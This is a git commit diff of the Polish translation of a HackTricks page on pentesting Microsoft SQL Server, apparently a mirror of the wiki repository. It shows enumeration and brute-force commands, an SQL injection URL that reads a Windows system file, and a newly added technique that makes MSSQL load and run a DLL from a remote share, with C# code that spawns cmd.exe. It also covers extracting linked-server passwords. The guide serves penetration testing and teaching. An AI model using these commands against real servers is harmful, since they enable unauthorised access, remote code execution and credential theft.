mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 00:53:43 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
f62d303a3e
commit
cc2f726f1e
1 changed files with 81 additions and 21 deletions
|
@ -1,15 +1,15 @@
|
|||
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** to **system zarządzania relacyjnymi bazami danych** opracowany przez Microsoft. Jako serwer baz danych, jest to produkt oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji programowych — które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).\\
|
||||
> **Microsoft SQL Server** to **system zarządzania relacyjnymi bazami danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji programowych — które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).\\
|
||||
|
||||
**Domyślny port:** 1433
|
||||
```
|
||||
|
@ -43,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jeśli **nie masz** **poświadczeń**, możesz spróbować je zgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli wielokrotnie nie uda się zalogować przy użyciu istniejącej nazwy użytkownika.
|
||||
Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli wielokrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (potrzebne poświadczenia)
|
||||
|
@ -84,7 +84,6 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
|
||||
#### Logowanie
|
||||
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
|
@ -144,7 +143,7 @@ enum_links
|
|||
#Use a link
|
||||
use_link [NAME]
|
||||
```
|
||||
#### Pobierz Użytkownika
|
||||
#### Pobierz użytkownika
|
||||
|
||||
{% content-ref url="types-of-mssql-users.md" %}
|
||||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||||
|
@ -177,7 +176,7 @@ SELECT * FROM sysusers
|
|||
2. **Uprawnienie:** Powiązane z securables SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być przyznawane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
|
||||
* **Poziom serwera** przy użyciu loginów
|
||||
* **Poziom bazy danych** przy użyciu użytkowników
|
||||
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables odbywa się poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
|
||||
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty głównie obejmują loginy i użytkowników bazy danych. Kontrola dostępu do securables jest realizowana poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -334,7 +333,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Odczyt plików wykonując skrypty (Python i R)**
|
||||
### **RCE/Odczyt plików wykonujących skrypty (Python i R)**
|
||||
|
||||
MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten, który używa **xp\_cmdshell** do wykonywania poleceń.
|
||||
|
||||
|
@ -358,7 +357,7 @@ GO
|
|||
```
|
||||
### Odczyt rejestru
|
||||
|
||||
Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**Rejestrem Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Zwykłe** | **Świadome instancji** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -383,12 +382,72 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||
```
|
||||
For **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE z MSSQL Funkcją Użytkownika - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub rola Administratora**.
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą funkcji niestandardowych**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub rola Administratora**.
|
||||
|
||||
[**Śledź ten link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), aby zobaczyć przykład.
|
||||
|
||||
### RCE z `autoadmin_task_agents`
|
||||
|
||||
Zgodnie z [**tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, aby MSSQL go wykonał za pomocą czegoś takiego:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Z:
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Class1
|
||||
{
|
||||
public class Class1 : TaskAgent
|
||||
{
|
||||
public Class1()
|
||||
{
|
||||
|
||||
Process process = new Process();
|
||||
process.StartInfo.FileName = "cmd.exe";
|
||||
process.StartInfo.Arguments = "/c ping localhost -t";
|
||||
process.StartInfo.UseShellExecute = false;
|
||||
process.StartInfo.RedirectStandardOutput = true;
|
||||
process.Start();
|
||||
process.WaitForExit();
|
||||
}
|
||||
|
||||
public override void DoWork()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void ExternalJob(string command, LogBaseService jobLogger)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void Start(IServicesFactory services)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void Stop()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
public void Test()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Inne sposoby na RCE
|
||||
|
||||
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszerzonych procedur składowanych](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Zestawów CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Zadań agenta SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) oraz [skryptów zewnętrznych](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
@ -493,19 +552,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Ekstrakcja haseł z powiązanych serwerów SQL Server
|
||||
|
||||
Atakujący może wyodrębnić hasła powiązanych serwerów SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co daje atakującemu hasła, które mogą być użyte do zdobycia większej kontroli nad celem. Skrypt do ekstrakcji i deszyfrowania haseł przechowywanych dla powiązanych serwerów można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
Atakujący może wyodrębnić hasła powiązanych serwerów SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co daje atakującemu hasła, które mogą być użyte do zdobycia większej kontroli nad celem. Skrypt do ekstrakcji i deszyfrowania haseł przechowywanych dla powiązanych serwerów można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Muszą być spełnione pewne wymagania i konfiguracje, aby ten exploit działał. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
|
||||
|
||||
Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, które są następujące:
|
||||
Po zweryfikowaniu swoich uprawnień musisz skonfigurować trzy rzeczy, które są następujące:
|
||||
|
||||
1. Włącz TCP/IP na instancjach SQL Server;
|
||||
2. Dodaj parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który to -T7806.
|
||||
3. Włącz zdalne połączenie administracyjne.
|
||||
|
||||
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium ma również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
|
||||
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
|
||||
|
||||
Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku: [Deszyfrowanie haseł serwera powiązanego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku: [Deszyfrowanie haseł serwera linków bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Rozwiązywanie problemów z dedykowanym połączeniem administracyjnym SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -536,6 +595,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
* [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
|
@ -594,15 +654,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue